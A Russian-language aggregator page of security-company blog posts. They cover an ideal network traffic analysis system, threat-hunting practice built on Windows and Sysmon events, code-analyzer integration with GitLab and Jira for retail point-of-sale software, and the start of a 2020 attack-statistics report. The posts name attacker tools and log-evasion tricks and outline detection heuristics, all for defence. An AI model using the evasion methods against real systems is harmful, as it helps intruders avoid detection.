Напомним: это первая часть цикла статей о построении процесса безопасной разработки в крупном ритейлере. В следующем посте мы раскроем подробности реализации этого проекта в группе приложений семейства SAP.

А был ли у вас свой опыт реализации подобных проектов? Будем рады, если вы поделитесь с нами своими кейсами внедрения практик безопасной разработки в комментариях!

Автор: Иван Старосельский, руководитель отдела эксплуатации и автоматизации информационных систем

Подробнее..

Категории: Информационная безопасность , Kotlin , Scala , C , Gitlab , Ci/cd , Совершенный код , Java , Управление продуктом , Софт , Уязвимости , Devsecops , Анализ кода , Блог компании ростелеком-солар , Jira , Безопасная разработка

Фантазия на тему NTA что должна делать идеальная система?

15.10.2020 10:04:28 |

Автор: admin

Кадр из м/ф Инспектор Гаджет

У людей, занимающихся обнаружением и расследованием компьютерных инцидентов, есть неписаная истина: Инцидент рождается и умирает на хосте. Сегодня подавляющее большинство статей, исследований и правил детекта связаны именно с хостовыми логами (поэтому на рынке и появился EDR). Тем не менее очевидно, что события с хоста не дают полной картины происходящего и необходимо анализировать то, что происходит не только на конечных точках, но и в сети. Не так давно появился Network Traffic Analysis (NTA) относительно молодой класс решений, который помогает обнаружить злоумышленника, живущего в сети. Четкого понимания о функционале NTA у ИБ-сообщества пока не сформировалось, но мы со стороны центра мониторинга и реагирования на кибератаки все-таки попробуем рассказать, какой должна быть такая система и как она должна работать в идеале, чтобы полностью решать свои задачи.

Для анализа сетевого трафика традиционно использовались системы обнаружения атак IDS, работающие по сигнатурному принципу. С появлением SOC сетевые детекты стали обрастать правилами корреляции, которые базировались на различных событиях сетевого оборудования (Netflow, NGFW) и их встроенных механизмах (например, DPI Application Control). Уже эти технологии дали большое преимущество при обнаружении и расследовании инцидентов. Например:

хостовой детект, вероятно, покажет нам что-то подозрительное,
но без IDS-правил мы, скорее всего, не сможем однозначно идентифицировать угрозу (например, по детекту активности подозрительный процесс -> сетевая активность, мы сможем понять, что имеем дело с Downloader, но без детекта на уровне сети не сможем определить семейство);
некоторые хостовые детекты имеют альтернативное отображение в IDS-правилах, и при наличии известных проблем покрытия и масштабирования (которые возникают, когда надо собирать логи или отслеживать состояния того же EDR на большом количестве хостов) возможно перенести детектирующую логику с хостов на сеть, не потеряв таким образом детект события;
злоумышленники стремятся обходить детекты, построенные на хостовых логах. Например, выгружают Enpdoint Drivers, отключают Kernel Callback, перенаправляют логи во временный файл, а после выполнения вредоносных действий возвращают поток логов в старое место, после чего удаляют временный файл. А вот сетевым детектам они противостоят реже и лишь в собственном кастомном инструментарии;
некоторые IDS-правила не имеют прямого альтернативного отображения в детектах, построенных на хостовых логах (речь, конечно, про эксплуатацию уязвимостей различных сетевых протоколов (SMB, RDP) для запуска постороннего кода);
анализ сетевой активности способен решить проблему профилирования пользовательских действий внутри корпоративной инфраструктуры, а значит, увеличивает вероятность обнаружения злоумышленника;
технология Application Control может выявить использование злоумышленником вполне легитимных Remote Access Tool, в то время как хостовый детект, скорее всего, промолчит, так как подозрительная активность отсутствует.

Почему появился NTA

Но, к сожалению, в современных играх в кошки-мышки со злоумышленником даже указанных выше преимуществ недостаточно, чтобы своевременно обнаружить его присутствие. На то есть несколько причин.

Во-первых, при том, что IDS-правила достаточно эффективны при обнаружении инцидента, слабости сигнатурного подхода и принципов работы современных IDS-систем очевидны. Например, сигнатуру можно сбить даже простейшей операцией XOR, а задетектировать распределенное по времени сканирование крайне сложно.

Кроме того, при сработке IDS-правил обычно сохраняются только несколько сетевых пакетов или сессий (если говорить о распространенных Snort и Suricata). Но для правильного построения работы системы часто требуется дополнительный контекст происходящего, то есть аналитику нужно смотреть внутрь сетевого трафика.

Также у многих организаций нет выделенного IDS-решения. Вместо этого у них стоит обычный модуль в составе навороченного NGFW или UTM-комбайна, который из-за высокой загруженности и вовсе часто отключают. В случае же с подключением событий сетевой активности из NGFW или UTM в SIEM-систему остро встает вопрос количества EPS и стоимости ресурсов для их обработки. Ведь, как мы знаем, данный источник генерирует огромное количество событий.

Если все-таки завести NGFW или UTM в качестве источника в SIEM, то можно потенциально профилировать сетевую активность, но проблема обнаружения аномалий останется открытой, ведь таких возможностей у SIEM нет. Да и не должно быть. Скорее всего, мы сможем лишь отслеживать попытки постучаться на порты или адреса, не прописанные в легитимной активности (а теперь представьте, сколько времени это займет в крупной компании со сложной инфраструктурой).

Все это привело ИБ-сообщество к пониманию, что для эффективного обеспечения сетевого мониторинга и анализа сетевой активности как на периметре, так и в сегментах корпоративной сети необходим обособленный класс решений. Он был назван Network Traffic Analysis NTA (или NDR).

Как и на заре EDR, у сообщества пока нет четкого понимания в части функционала, закладываемого в NTA/NDR, так что к этой категории относят совершенно разные продукты и решения.

Мы же со своей стороны хотели бы пофантазировать о том, каким может быть идеальный коммерческий NTA/NDR в современных реалиях и какие задачи
он должен решать, чтобы своевременно обнаруживать злоумышленника и помогать
при расследовании и реагировании на инциденты.

Что умеет идеальный NTA

Мы опишем задачи, с которыми должны справляться современные NTA/NDR-решения, в формате противодействия подходам, применяемым злоумышленниками.

Подход 1

Злоумышленник использует известные хакерские утилиты/инструменты/ВПО, 1-day уязвимости
Противодействие: IDS-правила
Как решается сейчас: модули IDS в NGFW или UTM

В данном пункте может быть огромное количество примеров, но мы просто отметим, что наш опыт мониторинга и расследований инцидентов подсказывает, что в 2020 году все еще можно поймать злоумышленника посредством IDS-правил. И вот почему:

злоумышленники до сих пор очень часто используют 1-day уязвимости EternalBlue и начинают брать на вооружение BlueKeep, SMBGhost;
злоумышленники зачастую ленивы и редко переписывают протоколы общения известного ВПО с серверами управления;
злоумышленники используют известные инструменты BloodHound, Impacket и другие, которые работают с протоколами и компонентами ОС SMB, WMI, LDAP.

Пункт в общем-то очевидный. Остается лишь решить вопрос доверия к источнику IDS-правил, если вы вдруг их не пишите сами.

Подход 2

Злоумышленник использует легитимные средств удаленного управления
Противодействие: Application Control
Как решается сейчас: модули Application Control в NGFW или UTM

Злоумышленники часто используют легитимные средства удаленного управления: UltraVnc, TeamViewer, Ammyy Admin, Radmin, AnyDesk и др. Без капли сомнения (и стеснения) они устанавливают эти утилиты на хост, еще и разбавляют инструментарий различными ухищрениями: проксируют трафик через определенные порты для преодоления Firewall, используют Dll Hijacking/Dll SideLoading для подгрузки утилитами своих библиотек и скрытной работы, прячут данные утилиты вглубь бинарных файлов, рассылаемых по электронной почте.
Вопрос количества протоколов и ПО, определяемых компонентом Application Control в идеальном NTA/NDR всегда останется открытым ему ведь не нужно поддерживать их столько же, сколько NGFW или UTM Или все-таки нужно? Но детектировать самые известные легитимные средства удаленного управления оно точно должно.

Подход 3

Злоумышленники используют административные протоколы управления (RDP, SSH)
Противодействие: профилирование сетевой активности с использованием
статистических алгоритмов
Как решается сейчас: события с NGFW или UTM в SIEM и попытка ручного профилирования

Для осознания того, что происходит в сети, нужно профилирование сетевой активности на уровне хоста. Это аксиома. Вы наверняка слышали про систему UEBA (User and Entity Behavior Analytics). К сожалению, ее работающих вариантов пока не так много, но искреннее верим, что именно в продуктах класса NTA/NDR эта технология должна раскрыться ведь она призвана улучшить и дополнить функционал обнаружения.

Над технической реализацией пусть фантазируют вендоры, но мы уверены, что в NTA/NDR нужен компонент, который будет анализировать сетевые потоки, гуляющие как внутри инфраструктуры, так и за ее пределы. И результатом этого анализа хочется видеть статистическую обработку: кто, как, когда и куда ходил, делал ли он это раньше, как часто.

История из жизни. В одном из наших расследований злоумышленник, получив доступ к хосту, стал расширять свое присутствие в инфраструктуре, заражая ВПО интересные ему серверы, при этом серверы он определял по факту после захода на них по протоколу RDP. Логи на серверах хранились последние полгода (да, злоумышленник лентяй и не стал заметать следы), и по результатам их анализа стало ясно, что за последние три месяца с зараженного хоста на эти серверы ни разу не ходили по протоколу RDP.

К сожалению, на момент, когда мы подключились к расследованию, злоумышленник уже обжился в инфраструктуре. Но если бы был механизм профилирования сетевой активности, то он бы смог выявить аномалию: ведь за три месяца с заражённого хоста не было RDP-сессий в сторону этих серверов, а тут сразу восемь за короткий период. Сводный график из результатов расследования выглядел так:

Подход 4

Злоумышленник использует модифицированный (обход сигнатурного детекта) или неизвестный ранее инструментарий
Противодействие: профилирование сетевой активности с использованием
статистических алгоритмов, применение неточных алгоритмов определения схожести трафика
Как решается сейчас: экспортом различных сетевых событий (трафика) и обработкой их самописными обработчиками\скриптами

Это самый интересный кейс, ведь указанный подход злоумышленника говорит о его высокой квалификации. Противодействие с помощью идеального NTA/NDR проиллюстрируем двумя примерами.

Первый пример выявление зараженных систем путем анализа обращений к серверам управления CNC.

Итак, у нас есть хост, зараженный неизвестным типом ВПО, и он периодически обращается (в данном примере достаточно шумно) к своему CNC через http. Вот так:

Здесь мы оставляем за рамками обсуждения тематику обнаружения чего-либо в зашифрованном трафике и считаем, что наш идеальный NTA/NDR работает в режиме SSL-инспекции.

Как мы можем задетектировать такую активность, если, например, сервер управления CNC не входит в список известных индикаторов компрометации и не стоит у нас на мониторинге? Тут нам поможет профилирование сетевой активности (вряд ли сервер управления CnC будет самым популярным по числу обращений, а количество и интервал запросов подсветят нам не пользовательские запросы) и алгоритмы определения похожести сетевого трафика (техническую реализацию оставим на усмотрение вендора).

Если обратить внимание на рисунок выше, то можно заметить, что у всех запросов схожий размер сетевых пакетов, небольшие интервалы времени, путь обращения в коротких запросах хоть и рандомный, но имеет одинаковую длину, путь в длинных запросах имеет общую часть (до второго знака =). Этих данных должно хватить идеальному NTA/NDR для того, чтобы подсветить подозрительную активность и своевременно обнаружить присутствие злоумышленника в инфраструктуре.

Второй пример выявление зараженных систем путем анализа внутреннего трафика инфраструктуры и выявление паттернов схожести.

Не секрет, что при написании протоколов общения клиентских и серверных частей ВПО разработчики, как правило, формируют статический формат передаваемых данных,
в котором у каждого позиционного байта, слова или двойного слова есть своя интерпретация. При этом зачастую все данные могут быть зашифрованы на одном ключе или иметь, например, имитовставку, которую вредонос будет искать при обработке сетевого пакета. Приведем пример общения зараженных хостов внутри инфраструктуры (пакеты на рисунке уже отфильтрованы по содержанию payload, поэтому Wireshark думает, что это NetBIOS ):

Во всех TCP-сессиях (здесь отдельные пакеты) между зараженными хостами передавался TCP payload, который начинался с двух одинаковых dword. Именно так модуль ВПО, работающий на зараженной системе, узнавал предназначенные для себя сетевые пакеты.

Так как же обнаружить применение подобного инструментария злоумышленником, если мы еще не проводили реверс сэмпла, разбор протокола общения модулей, да и вообще не знаем, что заражены? Здесь нам также поможет механизм нашего NTA/NDR, который сможет обнаружить паттерн среди передаваемых данных в TCP payload внутри инфраструктуры, принимая во внимание дополнительные условия (хосты, порты, размеры сессий, протоколы).

Конечно, говоря о данном подходе, мы осознаем потенциальный уровень False Positive при разработке или применении вендором статистических алгоритмов обработки как сетевой активности, так и сетевого трафика, но ведь NTA/NDR это отдельный класс решений, и он призван решить в первую очередь имеющиеся проблемы с обнаружением и расследованием инцидентов в сети (и False Positive не такая уж высокая цена за это). Да и к тому же даже сигнатурный подход порой порождает ложные события.

Насколько это реально?

Конечно, такое описание функционала идеального NTA/NDR может вызывать споры, но мы лишь рассказали, чего ждем от данного класса решений и какие проблемы в обнаружении и расследовании инцидентов, на наш взгляд, он сможет решить.

И все-таки не хочется, чтобы завтра инструментарий, работающий исключительно на сигнатурном анализе из 90-x, вдруг начали называть NTA или NDR. Этому молодому классу решений (который, к слову, является одним из краеугольных камней современного SOC наряду с SIEM и EDR) нужен глоток свежего воздуха в виде новых подходов к глубокому анализу трафика, новых методов выявления угроз и возможностей по хранению и экспорту данных для расследования и ретроспективного анализа.

Игорь Залевский, руководитель отдела расследования киберинцидентов JSOC CERT

Подробнее..

Категории: Информационная безопасность , Аналитика , Блог компании ростелеком-солар , Киберугрозы , Реагирование на инциденты , Nta

В погоне за неправильными инцидентами, или Как мы строим Threat Hunting

12.11.2020 10:07:10 |

Автор: admin

Инциденты с SLA-таймингами должны детектироваться с минимальным числом False Positive, а также иметь четкий workflow обработки. При таком устройстве SOC гарантирует, что инцидент будет обработан за определённое время для дальнейшего своевременного реагирования Такой подход многие годы был справедлив для любого SOC (и нашего в том числе). Но в какой-то момент пришло осознание, что мы частично теряем полноту картины происходящего. Причина в тех самых объективных ограничениях, накладываемых на сценарии. Ведь во множестве малорелевантных сработок (которые не могут быть обработаны на линиях мониторинга разумными ресурсами и в рамках SLA) порой таится самая соль происходящего инцидента.

Погоня за исключением False Positive приводит к периодическому False Negative, который, как известно, случается в самый неподходящий момент. С осознанием этого факта в мир SOC пришло такое явление, как Threat Hunting, призванное усилить классический процесс по мониторингу и закрыть указанные выше недостатки.

Само понятие Threat Hunting сейчас мелькает на всех коммерческих буклетах, но вопросов и споров о том, что это и как организовать процесс проактивного поиска угроз при работе SOC, достаточно много. Даже в своей команде мы периодически любим поспорить на эту тему, и наш лагерь JSOC в этом вопросе делится на две группы:

1. Одни верят, что процесс Threat Hunting основывается на гипотезах, которые уже были выдвинуты различными исследователями или были сформированы в результате анализа работы вредоносного файла или деятельности какой-либо хакерской группировки.

2. Другие верят, что процесс Threat Hunting основывается на гипотезах, которые специалист формирует и проверяет сам в нужный момент времени.

Так как определиться мы не смогли, стали использовать оба подхода к слову, оба они имеют достоинства и недостатки. Давайте чуть ближе посмотрим на то, что же мы делаем вокруг каждого из вариантов.

Вариант 1

Сюда мы относим написанные нами правила корреляции на различные атомарные события, простые детекты, которые могут косвенно свидетельствовать о происходящем инциденте, при этом данные детекты в отрыве от контекста могут быть абсолютно малозначимы, их логически сложно профильтровать на признаки False Positive и однозначно построить вокруг них workflow для инженеров с линии не представляется возможным.

О чем же речь? Приведем примеры двух правил, чтобы понять особенности неправильных инцидентов.

В этой категории у нас есть, например, правило, выявляющее наличие в параметрах запускаемого процесса IP-адреса или FQDN. В действительности данное правило очень сложно пропустить сквозь сито False Positive, но при этом оно достаточно эффективное при обнаружении подозрительной активности.

Или вот, например, правило, детектирующее запуск макроса при открытии Word-документа (отслеживается запись в так называемые Trusted Records Registry Key значения, содержащего последовательность FF FF FF 7F). В большой инфраструктуре такое правило будет срабатывать очень часто, но при современных объёмах фишинга с использованием технологии макросов игнорировать его нельзя.

Понятное дело, что степень фолсовости у этих правил разная. Поэтому для каждого из них мы прописываем (а после запуска у заказчиков динамически изменяем) некий внутренний скоринг, который, используя механизмы ретроспективного анализа, показывает вероятность боевого детекта. Правила с высоким скорингом в том числе попадают в ServiceDesk для подсвечивания активностей по отношению к типовым инцидентам.

Workflow вокруг таких правил выглядит иначе. Сработки попадают не на линию, а к аналитикам, занимающимся проактивным поиском угроз. Они в свою очередь ищут взаимосвязи между сработками данных правил и инцидентами, которые ушли на линию (по ключевым параметрам хост, учетная запись, процесс), параллельно подключая механизм ретроспективного анализа инцидентов, о котором мы рассказывали выше. Стоит отметить, что в этом моменте отсутствует понятие SLA, так эти сработки не подразумевают сразу же возникновения инцидента и необходимости реагирования. При таком подходе мы получаем расширенную картину происходящего и минимизируем вероятность пропуска подозрительной активности.

Вариант 2

В данном варианте работы к аналитику, занимающемуся проактивным поиском угроз, в качестве входных данных поступают не сработки каких-либо детектирующих правил, а так называемые raw events, вокруг которых можно строить гипотезы. И уже результатом этой активности становятся задачи по разработке правил, если удалось найти действительно что-то интересное, не покрытое текущими детектами. И снова приведем два примера.

Событие создания процесса Event id 4688 (Sysmon id 1)

Обрабатывая и анализируя данные по всем запущенным в инфраструктуре процессам, аналитик угроз ищет подозрительные события, анализируя различную информацию. Например:

параметры запускаемых процессов: собрать статистику, обратить внимание на самые редкие командлайны, поискать в них ключевой набор слов/фраз, поискать наличие кодировки base64;

путь до исполняемого файла: обратить внимание на запуск из особых директорий
(например, С:\User\Public, C:\Windows\Temp, C:\Windows\Debug\wia, C:\Windows\Tracing\ в указанные директории возможно писать и запускать исполняемые файлы, не имея прав локального администратора);

поискать интересные взаимосвязи Parent -> Process, которые не покрыты текущими правилами детекта.

Событие создания именного канала Pipe (Sysmon id 17)

Как известно, вредоносное программное обеспечение очень часто создает именованный канал для собственного межпроцессорного взаимодействия. И зачастую именованный канал имеет определенную маску в имени и какой-то генерируемый параметр, например, Evil_090920 (Evil маска, 090920 генерируемый параметр). Если имя именованного канала не находится в индикаторах компрометации, то само создание данного pipe не вызовет подозрения, тем не менее аналитик может обратить внимание на то, что в определенный момент времени (или через любой интервал времени) подобные неизвестные именованные каналы создавались на нескольких системах, что может косвенно свидетельствовать о распространении вредоносного кода.

_________
В данном посте, рассказывая о том, как мы строим процесс Threat Hunting, мы опирались на события ОС Windows и Sysmon, выступающие в качестве источника для SIEM-системы. В действительности же источник событий и конечная система (лишь бы она это позволяла) для работы по проактивному поиску угроз для аналитика значения не имеет ровно такую же философию можно применить, например, к EDR или NTA.

Алексей Кривоногов, заместитель директора Solar JSOC по развитию региональной сети

Подробнее..

Категории: Информационная безопасность , Security , Блог компании ростелеком-солар , Threat hunting , Siem , Soc , Инциденты иб

Строим безопасную разработку в ритейлере. Опыт интеграции с кассовым ПО GK

26.11.2020 10:08:34 |

Автор: admin

Что самое сложное в проектной работе? Пожалуй, свести к общему знаменателю ожидания от процесса и результата у заказчика и исполнителя. Когда мы начинали внедрять безопасную разработку в группе GK-приложений (кассового ПО) крупного ритейлера, то на входе имели вагон времени и задачи снижения уязвимостей в коде. А вот что и как нам пришлось решать на практике, мы вам расскажем под катом.
Кстати, это уже третий пост, в котором мы делимся своим опытом выстраивания процесса безопасной разработки для крупного ритейлера. Если пропустили, можете прочитать первые две части: о безопасной разработке порталов и мобильных приложений и о безопасной разработке в группе приложений SAP.

О проекте

С этого скоупа мы начинали, когда пришли к заказчику. Согласно стартовому плану проекта, у нас были довольно вольготные сроки его реализации. Мы очень радовались, наивно думая, что сможем вести несколько проектов одновременно. В итоге мы почти все время уделяли именно кассовому ПО, потому что все оказалось гораздо сложнее. В целом, это стало самым сложным направлением интеграции, поскольку здесь требовалась наиболее серьезная автоматизация процесса.

Во-первых, мы столкнулись с мощной бюрократической машиной. Каждое действие требовало постоянных согласований, внесения в них правок, отчётов, их исправлений, запросов, ожиданий ответов и получений уточнений, которые меняли подходы и требовали серьёзных трудозатрат. А во-вторых, с тем, что у представителей заказчика не было ни желания, ни времени нам помогать.

GK

GK это по сути фреймворк, на основе которого можно создавать свою кастомизацию кассового ПО. Заказчик несколько лет назад выкупил у GK некоторую часть исходного кода этого софта для создания собственной версии, соответственно, это направление представляло собой очень большую группу разработки. Большая часть ПО написана на языке Java (90% проектов). Встречались и некоторые проекты, написанные на C++ с использованием довольно древних библиотек, поскольку аппаратное обеспечение было заточено под этот стек технологий. Для Windows под Windows Server 2008 и под набор библиотек для Visual Studio, для которых данная версия ОС была последней совместимой.

В группе имелись свои жесткие процессы разработки, свои релизные циклы. Процесс ветвления был похож на Gitflow с основной веткой разработки и feature-ветками под разнообразные задачи. Однако feature-ветки могли быть в статусе разработки месяцами (часто готовые к merge, но заброшенные) и вливались прямо перед релизом, в который они по плану должны были войти.

Помимо внедрения в CI/CD мы еще внедрялись и в Jira, для чего нам пришлось создать отдельную сущность для классификации задач уязвимость. Этот вид задачи позволял заводить уязвимости внутри Jira в соответствии с процессом разработки и работы с таск-трекером.

Направление GK имело длинный процесс разработки, когда создается feature на какой-либо функционал, а потом эта feature-ветка может жить очень долго отдельно от основной ветки разработки. Ее могут верифицировать, но не могут влить в master или development почти вплоть до самого релиза ввиду технических сложностей регрессионного тестирования и т.п.

Решение для интеграции

Когда мы пришли в группу GK внедрять Solar appScreener, мы были удивлены огромным количеством кода в проектах этого направления и предложили стандартный вариант сканирования основной ветки разработки. Разработчики сказали, что они тоже хотят получать информацию об уязвимостях и тоже хотят пользоваться анализатором, но не так, как офицеры безопасности. Им нужна была автоматизация проверки на уязвимости: единая точка входа в виде GitLab, где можно видеть все изменения. Чтобы на сканирование автоматически запускался код не только основной ветки разработки, но и всех побочных веток. При этом нужен был автоматизированный запуск из Jira и по просьбе заказчика полуавтоматизированный из Jenkins и GitLab.

В итоге мы решили, что самым простым способом анализа ветки (в особенности для долгих feature-веток) будет запуск сканирования таким образом, чтобы задача в Jira при ее полном завершении (финальном push-е) переводилась в статус in review. После чего она попадала к специалисту, который может принять изменения и дать добро на старт сканирования кода на уязвимости. Иначе анализ кода по каждому push-у разработчика в репозитории создал бы адскую нагрузку и на людей, и на технику. Разработчики комитили код в репозитории не реже раза в пять минут, и при этом проекты порой содержали по 3,5 млн строк кода, одно сканирование которого, соответственно, длилось 6-8 часов. Такое никакими ресурсами не покроешь.

Стек технологий

Теперь немного о том, какой набор технологий использовался в проекте. GitLab в качестве системы контроля версий, Jenkins в качестве CI/CD-системы, Nexus в качестве хранилища артефактов и Jira в качестве системы отслеживания задач. При этом сами разработчики взаимодействовали только с Jira и с GitLab, тогда как с Jenkins инженеры, а с Solar appScreener безопасники. Вся информация об уязвимостях в коде присутствовала в GitLab и Jira.

Поэтому пришлось организовать процесс сканирования следующим образом: в Jira задача переводилась в in review через Jenkins, так как была необходима сборка. Имелся целый стек из Jenkins-плагинов и скриптов, которые получали веб-хук из Jira. То есть помимо вида задачи уязвимость нам пришлось создавать в Jira еще и веб-хуки, которые при изменении проекта в GK отправлялись в Jenkins и требовали дополнительных шагов по настройке и серьёзной доработке двусторонней интеграции. Процесс был таким: когда в GK обновлялась какая-либо задача, Jira проверяла, соответствует ли эта задача тем, которые должны отправляться в Jenkins, а именно является ли это задачей разработки. И только после этого веб-хук уходил в Jenkins, который парсил веб-хук и на основе тела запроса понимал, какому репозиторию в GitLab и какой группе работ (job-ов) нужно запускаться.

Разработчики GK выставили ряд требований при заведении задач в Jira, и мы старались их использовать по полной, чтобы получить максимальное количество информации. Благодаря этому мы смогли правильно матчить репозитории в GitLab и ветку, которую мы должны были стянуть из конкретного репозитория для ее запуска на анализ. В требованиях мы жестко прописали, что ветка в GitLab обязательно должна содержать в названии номер задачи в Jira. В принципе, это best practice, который используется повсеместно в самой задаче должны быть метки, маркирующие, к какой части приложения/системы относится проблема.

На основе веб-хука, в котором содержалось название проекта, метки, поля с компонентами, а также ключ самой задачи и т.п., происходило автоматическое определение необходимости запуска всех задач. Часть проектов получала ответ всех значений удовлетворительно и после этого отправлялась на сканирование. А именно: поступал запрос в GitLab, проверялось наличие в нем данной ветки разработки, и при подтверждении система запускала сканирование новой части кода этой ветки в Solar appScreener.

Учитываем пожелания

Кадр из мультфильма Вовка в тридевятом царстве

Поскольку уязвимостей в GK-проектах было десятки тысяч, разработчики не хотели видеть их все. Меж тем в коде содержались порой критичные уязвимости: вставленные в код пароли, отраженные межсайтовые скриптинги, SQL-инъекции и т.п.

Разработчики планировали исправлять уязвимости в бэклоге, а прежде всего хотели видеть изменения: то есть появившиеся в новом коде уязвимости по сравнению с кодом предыдущей версии.

Однако реализованные в нашем продукте механизмы не подразумевают инкрементальный анализ для Java: анализируется байт-код, и невозможно проверить только измененные файлы, потому что теряется связность кода. Изменился один файл, использующий несколько библиотек или других пакетов, которые принадлежат тому же исходному коду, тогда и вся информация об уязвимости теряется. Поэтому мы сразу обозначили заказчику, что в данном случае возможен анализ исходного кода только целиком, и предложили следующую схему.

Как и для остальных проектов компании, мы выстроили для GK соответствие проекта в GitLab проекту в Solar appScreener, а дополнительно провели корреляцию с веткой разработки. Чтобы разработчикам и офицерам ИБ было проще искать, мы создали файл с реестром названия группы репозиториев, конкретного проекта из этой группы и ветки в Solar appScreener.

Кроме того, разработчики хотели видеть комментарии с изменениями сразу в GitLab, и вот как мы это сделали.

Интеграция с GitLab

Сначала мы сканировали основную ветку разработки для каждого репозитория, от которой шла ветка с изменениями. Поскольку разработчики хотели видеть комментарии с изменениями сразу в GitLab, мы договорились, что если ветка переведена в статус in review, это значит, что уже есть соответствующий merge request на ее вливание. Система проверяла, что merge request был действительно открыт, и если это подтверждалось, то Solar appScreener анализировал основную ветку разработки. Затем он сканировал ветку с изменениями, строил diff, выгружал его, получал только новые уязвимости, брал из них критичные (наш инструмент позволяет настраивать уровни критичности) и преобразовывал их описание в формат текстовых сообщений со ссылкой на данное вхождение в конкретном проекте в Solar appScreener (см.скриншот ниже). Эти сообщения отправлялись в GitLab в виде дискуссии от имени технической учетной записи. В merge request вместе с измененным кодом можно было увидеть непосредственно строку срабатывания. Её сопровождал адресованный конкретному разработчику комментарий в GitLab типа вот здесь содержится уязвимость, пожалуйста, поправьте или закройте ее.

Таким образом, между этими двумя сканированиями мы выявляли изменения, которые привнес разработчик. Если количество уязвимостей увеличивалось, это обязательно отражалось в комментариях отчёта. Такая схема была очень удобна для всех участников, потому что в GitLab сразу же появлялись неразрешенные дискуссии, а это значит, что merge request влить нельзя. И ответственный за approve merge requestа видел, что разработчик допустил уязвимости, и их нужно закрыть.

Интеграция с Active Directory

Чтобы просматривать уязвимости через Solar appScreener, разработчикам нужны были права. Поэтому помимо всей интеграции с системами разработки и со всеми тремя скоупами мы еще интегрировались и с сервисами Active Directory. Для нас некоторую сложность представляло то, что у заказчика был чудовищно большой AD с миллионом вложенных групп, что потребовало множества оптимизаций. То есть помимо внедрения CI/CD нам приходилось в процессе решать много сопутствующих задач настройки, адаптации и оптимизации (см. скриншот ниже).

Что касается интеграции с Active Directory, разработчики GK не хотели настраивать параметры доступа в ряд проектов Solar appScreener непосредственно в AD, потому что они не были владельцами этого ресурса. В компании процесс выдачи прав доступа выглядел следующим образом: если разработке нужно было внести нового человека в группу, приходилось писать заявку в техподдержку. Там определяли, кому именно отправлять данный запрос, кто отвечает за выдачу подобных прав, действительно ли можно выдать этому человеку права, авторизованы они или нет и т.п.

Это трудоемкий процесс, которым разработчики не управляли, в отличие от GitLab.Поэтому они попросили организовать интеграцию с AD следующим образом. Они разрешают видеть уязвимости не только техвладельцам системы и офицерам безопасности, как это было сделано для других направлений, но и сделать матчинг прав в GitLab. То есть если человек имеет права разработчика и выше (maintainer, владелец репозитория), то он может просматривать соответствующие проекты в Solar appScreener, которые относятся к этому репозиторию. Когда в Solar appScreener создавался новый проект, система запрашивала имена всех, кто состоит в GitLab в данном репозитории с уровнем доступа выше разработчика. Список выгружался, поступало обращение в анализатор кода, который в свою очередь отправлял запрос в AD с добавлением списка отобранных людей. Все, кто состоял в данном репозитории в GitLab, получали автоматические права через свои AD-учетки на доступ к проекту в Solar appScreener. В конце всей цепочки генерился pdf-файл с отчетом по уязвимостям из анализатора кода. В отчете содержался diff, который рассылался списку пользователей проектов GK на электронную почту.

Резюме

Реализованная интеграция с кассовым ПО GK это пример весьма масштабного проекта внедрения и автоматизации в компании процесса безопасной разработки, который был выстроен не только вокруг службы информационной безопасности, но и вокруг разработчиков. Причем в этой группе проектов так же, как и в других группах, параллельно шли сканирования основной ветки разработки: офицеры безопасности тоже заводили задачи в Jira и их верифицировали. Уязвимости заносились в бэклог и позже исправлялись.

Разработчики получили для себя удобный инструмент, встроенный в привычную среду и workflow. Так как они выбрали для себя порог из топ критических уязвимостей, которые довольно редко возникают, их нагрузка несильно возросла после внедрения. В итоге довольны оказались все участники проекта: и те, кто стремился повысить безопасность кода, и те, кому приходилось исправлять уязвимости.

Если у вас есть собственный опыт реализации практик безопасной разработки, пожалуйста, поделитесь им в комментариях!

Напомним: это третья часть цикла статей о построении процесса безопасной разработки в крупном ритейлере. В следующем посте будем подводить итоги работы над этим масштабным проектом: поговорим о том, чему мы научились в процессе, и какое развитие получил наш инструмент благодаря такому опыту.

Автор: Иван Старосельский, руководитель отдела эксплуатации и автоматизации информационных систем

Подробнее..

Категории: Информационная безопасность , Gitlab , Ci/cd , Совершенный код , Управление продуктом , Софт , Active directory , Уязвимости , Devsecops , Анализ кода , Блог компании ростелеком-солар , Jira , Безопасная разработка

Исследование атак со стороны профессиональных кибергруппировок смотрим статистику техник и тактик

01.12.2020 12:23:05 |

Автор: admin

Это был сложный год не только в свете коронавируса, локдауна, экологических бедствий и прочего, но и в части информационной безопасности. С переходом на удаленку многие компании выставили наружу ходы в инфраструктуру, что открыло новые возможности для мамкиных хакеров. Параллельно и профессиональные группировки, использующие гораздо более сложные инструменты, стали атаковать чаще. Мы подвели итоги за неполный год и свели в единую статистику те техники и тактики, с которыми мы чаще всего сталкивались в процессе мониторинга инфраструктур заказчиков.

Как считали

Прежде всего методология и источники данных. Что легло в основу аналитики:

анализ инцидентов и атак, выявленных командой центра мониторинга и реагирования на кибератаки Solar JSOC на инфраструктурах заказчиков;
работы команды JSOC CERT по расследованию инцидентов;
агрегированная информация об атаках и вредоносном ПО, собираемая ханипотами, размещенными на сетях связи и центрах обработки данных;
информация, получаемая в рамках коммерческих подписок от внешних поставщиков услуг и информационного обмена с российскими и международными CERT.

Скоуп объектов мониторинга:

более 140 крупных организаций (и более 600 тысяч сотрудников) в самых разных отраслях: банки, энергетика и нефтегазовый сектор, органы государственной власти и др.
более 1500 внешних сервисов, опубликованных в интернете;
более 70 тысяч серверов общего, инфраструктурного и прикладного назначения.

TL;DR (главные выводы)

Профессиональные группировки мы условно делим на несколько уровней: киберкриминал (группировки среднего уровня, нацеленные в основном на вывод денег, выкуп за расшифрование данных и т.д.), кибернаемники (нарушители, зарабатывающие заказными атаками) и кибергруппировки, предположительно финансируемые государствами.

За 2020 год зафиксировано более 200 атак со стороны киберкриминала, включая массовые атаки на отрасль/сектор экономики). Рост по сравнению с прошлым годом примерно на 40%. Самые популярные объекты атаки банки.

Инициаторы примерно 30 атак атрибутируются как группировки, действующие в интересах различных иностранных государств. В 2019 году атак такого уровня было примерно в два раза меньше. Такие группировки атаковали преимущественно органы госвласти, энергетический сектор, компании нефтегазовой отрасли и объекты критической информационной инфраструктуры других сфер деятельности.

Инструментарий группировок среднего уровня

Группировки среднего уровня квалификации, как правило, не разрабатывают вредоносное ПО самостоятельно, а приобретают его в даркнете. Иными словами, статистика применения того или иного массового вредоноса фактически отражает статистику атак киберкриминала. В 2020 году наибольшую популярность имели:

RTM 45%
Emotet 24%
Remcos 5%
Nanocore 5%
